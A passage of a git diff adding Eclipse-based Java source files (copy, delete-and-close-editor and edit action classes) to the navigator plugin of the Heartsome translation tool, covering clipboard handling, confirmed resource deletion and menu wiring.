The CopyAction implementation of this method defined + * on IAction copies the selected resources to the + * clipboard. + */ + public void run() { + List selectedResources = getSelectedResources(); + IResource[] resources = (IResource[]) selectedResources + .toArray(new IResource[selectedResources.size()]); + + // Get the file names and a string representation + final int length = resources.length; + int actualLength = 0; + String[] fileNames = new String[length]; + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < length; i++) { + IPath location = resources[i].getLocation(); + // location may be null. See bug 29491. + if (location != null) { + fileNames[actualLength++] = location.toOSString(); + } + if (i > 0) { + buf.append("\n"); //$NON-NLS-1$ + } + buf.append(resources[i].getName()); + } + // was one or more of the locations null? + if (actualLength < length) { + String[] tempFileNames = fileNames; + fileNames = new String[actualLength]; + for (int i = 0; i < actualLength; i++) { + fileNames[i] = tempFileNames[i]; + } + } + setClipboard(resources, fileNames, buf.toString()); + + // update the enablement of the paste action + // workaround since the clipboard does not suppot callbacks + if (pasteAction != null && pasteAction.getStructuredSelection() != null) { + pasteAction.selectionChanged(pasteAction.getStructuredSelection()); + } + } + + /** + * Set the clipboard contents. Prompt to retry if clipboard is busy. + * + * @param resources the resources to copy to the clipboard + * @param fileNames file names of the resources to copy to the clipboard + * @param names string representation of all names + */ + private void setClipboard(IResource[] resources, String[] fileNames, + String names) { + try { + // set the clipboard contents + if (fileNames.length > 0) { + clipboard.setContents(new Object[] { resources, fileNames, + names }, + new Transfer[] { ResourceTransfer.getInstance(), + FileTransfer.getInstance(), + TextTransfer.getInstance() }); + } else { + clipboard.setContents(new Object[] { resources, names }, + new Transfer[] { ResourceTransfer.getInstance(), + TextTransfer.getInstance() }); + } + } catch (SWTError e) { + if (e.code != DND.ERROR_CANNOT_SET_CLIPBOARD) { + throw e; + } + if (MessageDialog + .openQuestion( + shell, + WorkbenchNavigatorMessages.actions_CopyAction_msgTitle, // TODO ResourceNavigatorMessages.CopyToClipboardProblemDialog_title, //$NON-NLS-1$ + WorkbenchNavigatorMessages.actions_CopyAction_msg)) { //$NON-NLS-1$ + setClipboard(resources, fileNames, names); + } + } + } + + /** + * The CopyAction implementation of this + * SelectionListenerAction method enables this action if + * one or more resources of compatible types are selected. + */ + protected boolean updateSelection(IStructuredSelection selection) { + if (!super.updateSelection(selection)) { + return false; + } + + if (getSelectedNonResources().size() > 0) { + return false; + } + + List selectedResources = getSelectedResources(); + if (selectedResources.size() == 0) { + return false; + } + + boolean projSelected = selectionIsOfType(IResource.PROJECT); + boolean fileFoldersSelected = selectionIsOfType(IResource.FILE + | IResource.FOLDER); + if (!projSelected && !fileFoldersSelected) { + return false; + } + + // selection must be homogeneous + if (projSelected && fileFoldersSelected) { + return false; + } + + // must have a common parent + IContainer firstParent = ((IResource) selectedResources.get(0)) + .getParent(); + if (firstParent == null) { + return false; + } + + Iterator resourcesEnum = selectedResources.iterator(); + while (resourcesEnum.hasNext()) { + IResource currentResource = (IResource) resourcesEnum.next(); + if (!currentResource.getParent().equals(firstParent)) { + return false; + } + // resource location must exist + if (currentResource.getLocationURI() == null) { + return false; + } + } + + return true; + } + +} + diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/DeleteResourceAndCloseEditorAction.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/DeleteResourceAndCloseEditorAction.java new file mode 100644 index 0000000..ea0bd09 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/DeleteResourceAndCloseEditorAction.java @@ -0,0 +1,752 @@ +/******************************************************************************* + * Copyright (c) 2000, 2011 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * Benjamin Muskalla + * - Fix for bug 172574 - [IDE] DeleteProjectDialog inconsequent selection behavior + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import java.io.File; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.window.IShellProvider; +import org.eclipse.jface.window.Window; +import org.eclipse.osgi.util.NLS; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.SelectionListenerAction; +import org.eclipse.ui.ide.undo.DeleteResourcesOperation; +import org.eclipse.ui.ide.undo.WorkspaceUndoUtil; +import org.eclipse.ui.internal.ide.IDEWorkbenchMessages; +import org.eclipse.ui.internal.ide.IDEWorkbenchPlugin; +import org.eclipse.ui.internal.ide.IIDEHelpContextIds; +import org.eclipse.ui.internal.ide.actions.LTKLauncher; +import org.eclipse.ui.part.FileEditorInput; +import org.eclipse.ui.progress.WorkbenchJob; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * Standard action for deleting the currently selected resources. + *

    + * This class may be instantiated; it is not intended to be subclassed. + *

    + * @noextend This class is not intended to be subclassed by clients. + */ +public class DeleteResourceAndCloseEditorAction extends SelectionListenerAction { + + + /** + * 修改BUG,默认删除项目的内容 + * @author robert + */ + static class DeleteProjectDialog extends MessageDialog { + + private IResource[] projects; + + private boolean deleteContent = false; + + /** + * Control testing mode. In testing mode, it returns true to delete contents and does not pop up the dialog. + */ + private boolean fIsTesting = false; + +// private Button radio1; +// +// private Button radio2; + + + DeleteProjectDialog(Shell parentShell, IResource[] projects) { + super(parentShell, getTitle(projects), null, // accept the + // default window + // icon + getMessage(projects), MessageDialog.QUESTION, new String[] { IDialogConstants.YES_LABEL, + IDialogConstants.NO_LABEL }, 0); // yes is the + // default + this.projects = projects; + setShellStyle(getShellStyle() | SWT.SHEET); + } + + static String getTitle(IResource[] projects) { + if (projects.length == 1) { + return IDEWorkbenchMessages.DeleteResourceAction_titleProject1; + } + return IDEWorkbenchMessages.DeleteResourceAction_titleProjectN; + } + + static String getMessage(IResource[] projects) { + if (projects.length == 1) { + IProject project = (IProject) projects[0]; + return NLS.bind(IDEWorkbenchMessages.DeleteResourceAction_confirmProject1, project.getName()); + } + return NLS.bind(IDEWorkbenchMessages.DeleteResourceAction_confirmProjectN, new Integer(projects.length)); + } + + /* + * (non-Javadoc) Method declared on Window. + */ + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + PlatformUI.getWorkbench().getHelpSystem().setHelp(newShell, IIDEHelpContextIds.DELETE_PROJECT_DIALOG); + } + + /* + * + + protected Control createCustomArea(Composite parent) { + Composite composite = new Composite(parent, SWT.NONE); + composite.setLayout(new GridLayout()); + radio1 = new Button(composite, SWT.RADIO); + radio1.addSelectionListener(selectionListener); + String text1; + if (projects.length == 1) { + IProject project = (IProject) projects[0]; + if (project == null || project.getLocation() == null) { + text1 = IDEWorkbenchMessages.DeleteResourceAction_deleteContentsN; + } else { + text1 = NLS.bind(IDEWorkbenchMessages.DeleteResourceAction_deleteContents1, project.getLocation() + .toOSString()); + } + } else { + text1 = IDEWorkbenchMessages.DeleteResourceAction_deleteContentsN; + } + radio1.setText(text1); + radio1.setFont(parent.getFont()); + + // Add explanatory label that the action cannot be undone. + // We can't put multi-line formatted text in a radio button, + // so we have to create a separate label. + Label detailsLabel = new Label(composite, SWT.LEFT); + detailsLabel.setText(IDEWorkbenchMessages.DeleteResourceAction_deleteContentsDetails); + detailsLabel.setFont(parent.getFont()); + // indent the explanatory label + GridData data = new GridData(); + data.horizontalIndent = IDialogConstants.INDENT; + detailsLabel.setLayoutData(data); + // add a listener so that clicking on the label selects the + // corresponding radio button. + // see https://bugs.eclipse.org/bugs/show_bug.cgi?id=172574 + detailsLabel.addMouseListener(new MouseAdapter() { + public void mouseUp(MouseEvent e) { + deleteContent = true; + radio1.setSelection(deleteContent); + radio2.setSelection(!deleteContent); + } + }); + // Add a spacer label + new Label(composite, SWT.LEFT); + + radio2 = new Button(composite, SWT.RADIO); + radio2.addSelectionListener(selectionListener); + String text2 = IDEWorkbenchMessages.DeleteResourceAction_doNotDeleteContents; + radio2.setText(text2); + radio2.setFont(parent.getFont()); + + // set initial state + radio1.setSelection(deleteContent); + radio2.setSelection(!deleteContent); + + return composite; + } + + */ + protected Control createCustomArea(Composite parent) { + Composite composite = new Composite(parent, SWT.NONE); + composite.setLayout(new GridLayout()); + String text1; + if (projects.length == 1) { + IProject project = (IProject) projects[0]; + if (project == null || project.getLocation() == null) { + text1 = IDEWorkbenchMessages.DeleteResourceAction_deleteContentsN; + } else { + text1 = NLS.bind(IDEWorkbenchMessages.DeleteResourceAction_deleteContents1, project.getLocation() + .toOSString()); + } + } else { + text1 = IDEWorkbenchMessages.DeleteResourceAction_deleteContentsN; + } + + Label tipLbl = new Label(composite, SWT.NONE); + tipLbl.setFont(parent.getFont()); + tipLbl.setText(text1); + deleteContent = true; + + Label detailsLabel = new Label(composite, SWT.LEFT); + detailsLabel.setText(IDEWorkbenchMessages.DeleteResourceAction_deleteContentsDetails); + detailsLabel.setFont(parent.getFont()); + // indent the explanatory label + GridData data = new GridData(); + data.horizontalIndent = IDialogConstants.INDENT; + detailsLabel.setLayoutData(data); + // add a listener so that clicking on the label selects the + // corresponding radio button. + // see https://bugs.eclipse.org/bugs/show_bug.cgi?id=172574 + // Add a spacer label + new Label(composite, SWT.LEFT); + + + + + return composite; + } + + /* + private SelectionListener selectionListener = new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + Button button = (Button) e.widget; + if (button.getSelection()) { + deleteContent = (button == radio1); + } + } + }; + */ + + boolean getDeleteContent() { + return deleteContent; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.window.Window#open() + */ + public int open() { + // Override Window#open() to allow for non-interactive testing. + if (fIsTesting) { + deleteContent = true; + return Window.OK; + } + return super.open(); + } + + /** + * Set this delete dialog into testing mode. It won't pop up, and it returns true for deleteContent. + * @param t + * the testing mode + */ + void setTestingMode(boolean t) { + fIsTesting = t; + } + } + + /** + * The id of this action. + */ + public static final String ID = PlatformUI.PLUGIN_ID + ".DeleteResourceAction";//$NON-NLS-1$ + + private IShellProvider shellProvider = null; + + /** + * Whether or not we are deleting content for projects. + */ + private boolean deleteContent = false; + + /** + * Flag that allows testing mode ... it won't pop up the project delete dialog, and will return + * "delete all content". + */ + protected boolean fTestingMode = false; + + private String[] modelProviderIds; + + /** + * Creates a new delete resource action. + * @param shell + * the shell for any dialogs + * @deprecated Should take an IShellProvider, see {@link #DeleteResourceAction(IShellProvider)} + */ + public DeleteResourceAndCloseEditorAction(final Shell shell) { + super(IDEWorkbenchMessages.DeleteResourceAction_text); + Assert.isNotNull(shell); + initAction(); + setShellProvider(new IShellProvider() { + public Shell getShell() { + return shell; + } + }); + } + + /** + * Creates a new delete resource action. + * @param provider + * the shell provider to use. Must not be null. + * @since 3.4 + */ + public DeleteResourceAndCloseEditorAction(IShellProvider provider) { + super(IDEWorkbenchMessages.DeleteResourceAction_text); + Assert.isNotNull(provider); + initAction(); + setShellProvider(provider); + } + + /** + * Action initialization. + */ + private void initAction() { + setToolTipText(IDEWorkbenchMessages.DeleteResourceAction_toolTip); + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, IIDEHelpContextIds.DELETE_RESOURCE_ACTION); + setId(ID); + } + + private void setShellProvider(IShellProvider provider) { + shellProvider = provider; + } + + /** + * Returns whether delete can be performed on the current selection. + * @param resources + * the selected resources + * @return true if the resources can be deleted, and false if the selection contains + * non-resources or phantom resources + */ + private boolean canDelete(IResource[] resources) { + // allow only projects or only non-projects to be selected; + // note that the selection may contain multiple types of resource + if (!(containsOnlyProjects(resources) || containsOnlyNonProjects(resources))) { + return false; + } + + if (resources.length == 0) { + return false; + } + // Return true if everything in the selection exists. + for (int i = 0; i < resources.length; i++) { + IResource resource = resources[i]; + if (resource.isPhantom()) { + return false; + } + } + return true; + } + + /** + * Returns whether the selection contains linked resources. + * @param resources + * the selected resources + * @return true if the resources contain linked resources, and false otherwise + */ + private boolean containsLinkedResource(IResource[] resources) { + for (int i = 0; i < resources.length; i++) { + IResource resource = resources[i]; + if (resource.isLinked()) { + return true; + } + } + return false; + } + + /** + * Returns whether the selection contains only non-projects. + * @param resources + * the selected resources + * @return true if the resources contains only non-projects, and false otherwise + */ + private boolean containsOnlyNonProjects(IResource[] resources) { + int types = getSelectedResourceTypes(resources); + // check for empty selection + if (types == 0) { + return false; + } + // note that the selection may contain multiple types of resource + return (types & IResource.PROJECT) == 0; + } + + /** + * Returns whether the selection contains only projects. + * @param resources + * the selected resources + * @return true if the resources contains only projects, and false otherwise + */ + private boolean containsOnlyProjects(IResource[] resources) { + int types = getSelectedResourceTypes(resources); + // note that the selection may contain multiple types of resource + return types == IResource.PROJECT; + } + + /** + * Asks the user to confirm a delete operation. + * @param resources + * the selected resources + * @return true if the user says to go ahead, and false if the deletion should be + * abandoned + */ + private boolean confirmDelete(IResource[] resources) { + if (containsOnlyProjects(resources)) { + return confirmDeleteProjects(resources); + } + return confirmDeleteNonProjects(resources); + + } + + /** + * Asks the user to confirm a delete operation, where the selection contains no projects. + * @param resources + * the selected resources + * @return true if the user says to go ahead, and false if the deletion should be + * abandoned + */ + private boolean confirmDeleteNonProjects(IResource[] resources) { + String title; + String msg; + if (resources.length == 1) { + title = IDEWorkbenchMessages.DeleteResourceAction_title1; + IResource resource = resources[0]; + if (resource.isLinked()) { + msg = NLS.bind(IDEWorkbenchMessages.DeleteResourceAction_confirmLinkedResource1, resource.getName()); + } else { + msg = NLS.bind(IDEWorkbenchMessages.DeleteResourceAction_confirm1, resource.getName()); + } + } else { + title = IDEWorkbenchMessages.DeleteResourceAction_titleN; + if (containsLinkedResource(resources)) { + msg = NLS.bind(IDEWorkbenchMessages.DeleteResourceAction_confirmLinkedResourceN, new Integer( + resources.length)); + } else { + msg = NLS.bind(IDEWorkbenchMessages.DeleteResourceAction_confirmN, new Integer(resources.length)); + } + } + return MessageDialog.openQuestion(shellProvider.getShell(), title, msg); + } + + /** + * Asks the user to confirm a delete operation, where the selection contains only projects. Also remembers whether + * project content should be deleted. + * @param resources + * the selected resources + * @return true if the user says to go ahead, and false if the deletion should be + * abandoned + */ + private boolean confirmDeleteProjects(IResource[] resources) { + DeleteProjectDialog dialog = new DeleteProjectDialog(shellProvider.getShell(), resources); + dialog.setTestingMode(fTestingMode); + int code = dialog.open(); + deleteContent = dialog.getDeleteContent(); + return code == 0; // YES + } + + /** + * Return an array of the currently selected resources. + * @return the selected resources + */ + private IResource[] getSelectedResourcesArray() { + List selection = getSelectedResources(); + IResource[] resources = new IResource[selection.size()]; + selection.toArray(resources); + return resources; + } + + /** + * Returns a bit-mask containing the types of resources in the selection. + * @param resources + * the selected resources + */ + private int getSelectedResourceTypes(IResource[] resources) { + int types = 0; + for (int i = 0; i < resources.length; i++) { + types |= resources[i].getType(); + } + return types; + } + + /* + * (non-Javadoc) Method declared on IAction. + */ + public void run() { + final IResource[] resources = getSelectedResourcesArray(); + + if (!fTestingMode) { + if (LTKLauncher.openDeleteWizard(getStructuredSelection())) { + return; + } + } + + // WARNING: do not query the selected resources more than once + // since the selection may change during the run, + // e.g. due to window activation when the prompt dialog is dismissed. + // For more details, see Bug 60606 [Navigator] (data loss) Navigator + // deletes/moves the wrong file + if (!confirmDelete(resources)) { + return; + } + + Job deletionCheckJob = new Job(IDEWorkbenchMessages.DeleteResourceAction_checkJobName) { + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.runtime.jobs.Job#run(org.eclipse.core.runtime.IProgressMonitor) + */ + protected IStatus run(IProgressMonitor monitor) { + if (resources.length == 0) + return Status.CANCEL_STATUS; + closeRelatedEditors(); + scheduleDeleteJob(resources); + return Status.OK_STATUS; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.runtime.jobs.Job#belongsTo(java.lang.Object) + */ + public boolean belongsTo(Object family) { + if (IDEWorkbenchMessages.DeleteResourceAction_jobName.equals(family)) { + return true; + } + return super.belongsTo(family); + } + }; + + deletionCheckJob.schedule(); + + } + + /** + * Schedule a job to delete the resources to delete. + * @param resourcesToDelete + */ + private void scheduleDeleteJob(final IResource[] resourcesToDelete) { + // use a non-workspace job with a runnable inside so we can avoid + // periodic updates + Job deleteJob = new Job(IDEWorkbenchMessages.DeleteResourceAction_jobName) { + public IStatus run(final IProgressMonitor monitor) { + try { + final DeleteResourcesOperation op = new DeleteResourcesOperation(resourcesToDelete, + IDEWorkbenchMessages.DeleteResourceAction_operationLabel, deleteContent); + op.setModelProviderIds(getModelProviderIds()); + // If we are deleting projects and their content, do not + // execute the operation in the undo history, since it cannot be + // properly restored. Just execute it directly so it won't be + // added to the undo history. + if (deleteContent && containsOnlyProjects(resourcesToDelete)) { + // We must compute the execution status first so that any user prompting + // or validation checking occurs. Do it in a syncExec because + // we are calling this from a Job. + WorkbenchJob statusJob = new WorkbenchJob("Status checking") { //$NON-NLS-1$ + /* + * (non-Javadoc) + * + * @see + * org.eclipse.ui.progress.UIJob#runInUIThread(org.eclipse.core.runtime.IProgressMonitor) + */ + public IStatus runInUIThread(IProgressMonitor monitor) { + return op.computeExecutionStatus(monitor); + } + + }; + + statusJob.setSystem(true); + statusJob.schedule(); + try {// block until the status is ready + statusJob.join(); + } catch (InterruptedException e) { + // Do nothing as status will be a cancel + } + + if (statusJob.getResult().isOK()) { + return op.execute(monitor, WorkspaceUndoUtil.getUIInfoAdapter(shellProvider.getShell())); + } + return statusJob.getResult(); + } + return PlatformUI.getWorkbench().getOperationSupport().getOperationHistory() + .execute(op, monitor, WorkspaceUndoUtil.getUIInfoAdapter(shellProvider.getShell())); + } catch (ExecutionException e) { + if (e.getCause() instanceof CoreException) { + return ((CoreException) e.getCause()).getStatus(); + } + return new Status(IStatus.ERROR, IDEWorkbenchPlugin.IDE_WORKBENCH, e.getMessage(), e); + } + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.runtime.jobs.Job#belongsTo(java.lang.Object) + */ + public boolean belongsTo(Object family) { + if (IDEWorkbenchMessages.DeleteResourceAction_jobName.equals(family)) { + return true; + } + return super.belongsTo(family); + } + + }; + deleteJob.setUser(true); + deleteJob.schedule(); + } + + /** + * 删除文件时,如果文件在编辑器中已打开,则关闭此文件。 ; + */ + private void closeRelatedEditors() { + IWorkbenchPage page = null; + for (IWorkbenchWindow window : PlatformUI.getWorkbench().getWorkbenchWindows()) { + if (window != null) { + page = window.getActivePage(); + break; + } + } + if (page == null) { + return; + } + IEditorReference[] editorReferences = page.getEditorReferences(); + final List selectionResource = getSelectedResources(); + final List lstCloseEditor = new ArrayList(); + final VTDGen vg = new VTDGen(); + final AutoPilot ap = new AutoPilot(); + final List inputList = new ArrayList(); + for (final IEditorReference reference : editorReferences) { + Display.getDefault().asyncExec(new Runnable() { + + public void run() { + IFile file = ((FileEditorInput) reference.getEditor(true).getEditorInput()).getFile(); + if ("xlp".equals(file.getFileExtension())) { + if (vg.parseFile(file.getLocation().toOSString(), true)) { + VTDNav vn = vg.getNav(); + ap.bind(vn); + try { + ap.selectXPath("/mergerFiles/mergerFile/@filePath"); + int index = -1; + merge: while ((index = ap.evalXPath()) != -1) { + String fileLC = vn.toString(index + 1); + if (fileLC != null && !"".equals(fileLC)) { + for (IResource resource : selectionResource) { + if (resource instanceof IProject || resource instanceof IFolder) { + if (fileLC.startsWith(resource.getLocation().toOSString() + + File.separator)) { + lstCloseEditor.add(reference); + inputList.add(reference.getEditorInput()); + break merge; + } + } else if (resource instanceof IFile) { + if (resource.getLocation().toOSString().equals(fileLC)) { + lstCloseEditor.add(reference); + inputList.add(reference.getEditorInput()); + break merge; + } + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + } else { + try { + for (IResource resource : selectionResource) { + if (resource instanceof IProject) { + if (resource.getLocation().toOSString() + .equals(file.getProject().getLocation().toOSString())) { + lstCloseEditor.add(reference); + inputList.add(reference.getEditorInput()); + break; + } + } else if (resource instanceof IFolder) { + if (file.getLocation().toOSString() + .startsWith(resource.getLocation().toOSString() + File.separator)) { + lstCloseEditor.add(reference); + inputList.add(reference.getEditorInput()); + break; + } + } else if (resource instanceof IFile) { + if (resource.getLocation().toOSString().equals(file.getLocation().toOSString())) { + lstCloseEditor.add(reference); + inputList.add(reference.getEditorInput()); + break; + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + } + }); + } + + final IWorkbenchPage page2 = page; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + IEditorReference[] arrEditorReference = new IEditorReference[lstCloseEditor.size()]; + page2.closeEditors(lstCloseEditor.toArray(arrEditorReference), false); + + // 删除文件时,刷新访问记录 robert 2012-11-20 + for (IEditorInput input : inputList) { + System.out.println("input = " + input); + CommonFunction.refreshHistoryWhenDelete(input); + } + } + }); + } + + /** + * The DeleteResourceAction implementation of this SelectionListenerAction method disables + * the action if the selection contains phantom resources or non-resources + */ + protected boolean updateSelection(IStructuredSelection selection) { + return super.updateSelection(selection) && canDelete(getSelectedResourcesArray()); + } + + /** + * Returns the model provider ids that are known to the client that instantiated this operation. + * @return the model provider ids that are known to the client that instantiated this operation. + * @since 3.2 + */ + public String[] getModelProviderIds() { + return modelProviderIds; + } + + /** + * Sets the model provider ids that are known to the client that instantiated this operation. Any potential side + * effects reported by these models during validation will be ignored. + * @param modelProviderIds + * the model providers known to the client who is using this operation. + * @since 3.2 + */ + public void setModelProviderIds(String[] modelProviderIds) { + this.modelProviderIds = modelProviderIds; + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/EditActionGroup.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/EditActionGroup.java new file mode 100644 index 0000000..956fb52 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/EditActionGroup.java @@ -0,0 +1,152 @@ +/******************************************************************************* + * Copyright (c) 2006, 2010 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + ******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.core.resources.IResource; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.window.IShellProvider; +import org.eclipse.swt.SWT; +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.ISharedImages; +import org.eclipse.ui.IWorkbenchCommandConstants; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionGroup; +import org.eclipse.ui.actions.TextActionHandler; +import org.eclipse.ui.ide.ResourceSelectionUtil; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.navigator.ICommonMenuConstants; + +/** + * @since 3.2 + */ +public class EditActionGroup extends ActionGroup { + + private Clipboard clipboard; + + private CopyAction copyAction; + + private DeleteResourceAndCloseEditorAction deleteAction; + + private PasteAction pasteAction; + + private TextActionHandler textActionHandler; + + private Shell shell; + + /** + * @param aShell + */ + public EditActionGroup(Shell aShell) { + shell = aShell; + makeActions(); + } + + public void dispose() { + if (clipboard != null) { + clipboard.dispose(); + clipboard = null; + } + super.dispose(); + } + + public void fillContextMenu(IMenuManager menu) { + IStructuredSelection selection = (IStructuredSelection) getContext().getSelection(); + + boolean anyResourceSelected = !selection.isEmpty() + && ResourceSelectionUtil.allResourcesAreOfType(selection, IResource.PROJECT | IResource.FOLDER + | IResource.FILE); + + copyAction.selectionChanged(selection); + // menu.appendToGroup(ICommonMenuConstants.GROUP_EDIT, copyAction); + pasteAction.selectionChanged(selection); + // menu.insertAfter(copyAction.getId(), pasteAction); + // menu.appendToGroup(ICommonMenuConstants.GROUP_EDIT, pasteAction); + + if (anyResourceSelected) { + deleteAction.selectionChanged(selection); + // menu.insertAfter(pasteAction.getId(), deleteAction); + menu.appendToGroup(ICommonMenuConstants.GROUP_EDIT, deleteAction); + } + } + + public void fillActionBars(IActionBars actionBars) { + + if (textActionHandler == null) { + textActionHandler = new TextActionHandler(actionBars); // hook + // handlers + } + textActionHandler.setCopyAction(copyAction); + textActionHandler.setPasteAction(pasteAction); + textActionHandler.setDeleteAction(deleteAction); + // renameAction.setTextActionHandler(textActionHandler); + updateActionBars(); + + textActionHandler.updateActionBars(); + } + + /** + * Handles a key pressed event by invoking the appropriate action. + * @param event + * The Key Event + */ + public void handleKeyPressed(KeyEvent event) { + if (event.character == SWT.DEL && event.stateMask == 0) { + if (deleteAction.isEnabled()) { + deleteAction.run(); + } + + // Swallow the event. + event.doit = false; + } + } + + protected void makeActions() { + clipboard = new Clipboard(shell.getDisplay()); + + pasteAction = new PasteAction(shell, clipboard); + pasteAction.setText(WorkbenchNavigatorMessages.actions_EditActionGroup_pasteAction); + ISharedImages images = PlatformUI.getWorkbench().getSharedImages(); + pasteAction.setDisabledImageDescriptor(images.getImageDescriptor(ISharedImages.IMG_TOOL_PASTE_DISABLED)); + pasteAction.setImageDescriptor(images.getImageDescriptor(ISharedImages.IMG_TOOL_PASTE)); + pasteAction.setActionDefinitionId(IWorkbenchCommandConstants.EDIT_PASTE); + + copyAction = new CopyAction(shell, clipboard, pasteAction); + copyAction.setText(WorkbenchNavigatorMessages.actions_EditActionGroup_copyAction); + copyAction.setDisabledImageDescriptor(images.getImageDescriptor(ISharedImages.IMG_TOOL_COPY_DISABLED)); + copyAction.setImageDescriptor(images.getImageDescriptor(ISharedImages.IMG_TOOL_COPY)); + copyAction.setActionDefinitionId(IWorkbenchCommandConstants.EDIT_COPY); + + IShellProvider sp = new IShellProvider() { + public Shell getShell() { + return shell; + } + }; + + deleteAction = new DeleteResourceAndCloseEditorAction(sp); + deleteAction.setText(WorkbenchNavigatorMessages.actions_EditActionGroup_deleteAction); + deleteAction.setDisabledImageDescriptor(images.getImageDescriptor(ISharedImages.IMG_TOOL_DELETE_DISABLED)); + deleteAction.setImageDescriptor(images.getImageDescriptor(ISharedImages.IMG_TOOL_DELETE)); + deleteAction.setActionDefinitionId(IWorkbenchCommandConstants.EDIT_DELETE); + } + + public void updateActionBars() { + IStructuredSelection selection = (IStructuredSelection) getContext().getSelection(); + + copyAction.selectionChanged(selection); + pasteAction.selectionChanged(selection); + deleteAction.selectionChanged(selection); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/EditActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/EditActionProvider.java new file mode 100644 index 0000000..8d58dba --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/EditActionProvider.java @@ -0,0 +1,60 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + ******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.actions.ActionContext; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; + +/** + * @since 3.2 + * + */ +public class EditActionProvider extends CommonActionProvider { + + private EditActionGroup editGroup; + + private ICommonActionExtensionSite site; + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonActionProvider#init(org.eclipse.ui.navigator.ICommonActionExtensionSite) + */ + public void init(ICommonActionExtensionSite anActionSite) { + site = anActionSite; + editGroup = new EditActionGroup(site.getViewSite().getShell()); + + } + + public void dispose() { + editGroup.dispose(); + } + + public void fillActionBars(IActionBars actionBars) { + editGroup.fillActionBars(actionBars); + } + + public void fillContextMenu(IMenuManager menu) { + editGroup.fillContextMenu(menu); + } + + public void setContext(ActionContext context) { + editGroup.setContext(context); + } + + public void updateActionBars() { + editGroup.updateActionBars(); + } +} diff --git 